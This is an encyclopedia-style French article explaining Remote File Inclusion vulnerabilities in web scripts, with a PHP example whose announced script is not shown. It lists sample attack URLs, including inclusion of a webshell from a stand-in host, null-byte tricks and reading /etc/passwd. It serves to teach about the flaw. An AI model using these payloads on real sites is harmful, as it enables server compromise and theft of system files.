Remote File Inclusion
# Remote File Inclusion

Remote File Inclusion (RFI) est un type de vulnérabilité trouvé le plus souvent sur des sites web. Il permet à un attaquant d'inclure un fichier distant, généralement par le biais d'un script sur le serveur web. La vulnérabilité est due à l'utilisation de l'entrée fournie par l'utilisateur sans validation adéquate. Elle peut conduire à :

* L'exécution de code sur le serveur web
* L'exécution de code sur le côté client comme le JavaScript qui peut conduire à d'autres attaques comme Cross-site scripting (XSS)
* Déni de service (DoS)
* Le vol de données / Manipulation

## Les langages de programmation

Les attaques RFI peuvent se produire avec n'importe quel langage de script (ASP, JSP, PHP...).

### Exemple en PHP

En PHP, la cause principale est due à l'utilisation de variables externes non validées tels que $_GET, $_POST, $_COOKIE avec une fonction liée à un fichier. Les plus utilisés sont les fonctions d'include et de require. La plupart des vulnérabilités peuvent être attribuées aux programmeurs débutants n'étant pas au courant de toutes les fonctionnalités du langage de programmation PHP. Le langage PHP a une directive allow_url_fopen. Si elle est activée, elle permet aux fonctions de fichiers d'utiliser une URL qui leur permet de récupérer des données à partir d'emplacements distants. Un attaquant va modifier une variable qui est transmise à l'une de ces fonctions pour l'amener à inclure du code malveillant à partir d'une ressource distante. Pour atténuer cette vulnérabilité, toutes les entrées utilisateur doivent être validées avant d'être utilisées.

**Exemple**

Considérons ce script PHP qui inclut un fichier spécifié par requête :

Le développeur rend utilisable uniquement blue.php et red.php pour être utilisé comme options. Mais comme tout le monde peut facilement insérer des valeurs arbitraires en couleur, il est possible d'injecter du code à partir de fichiers :

* /vulnerable.php?COLOR=http://evil.example.com/webshell.txt? - Injecte un fichier hébergé à distance contenant du code malveillant.
* /vulnerable.php?COLOR=C:\\ftp\\upload\\exploit - Exécute le code à partir d'un fichier déjà téléchargé appelé exploit.php (vulnérabilité d'inclusion de fichiers en local)
* /vulnerable.php?COLOR=C:\\notes.txt%00 - Par exemple en utilisant le caractère méta NULL pour enlever le suffixe php, permettant l'accès à des fichiers autres que php... (Avec magic_quotes_gpc activée, elle limite l'attaque par l'échappement des caractères spéciaux, cela désactive l'utilisation de la terminaison NULL)
* /vulnerable.php?COLOR=/etc/passwd%00 - Permet à un attaquant de lire le contenu du fichier passwd sur un système UNIX.
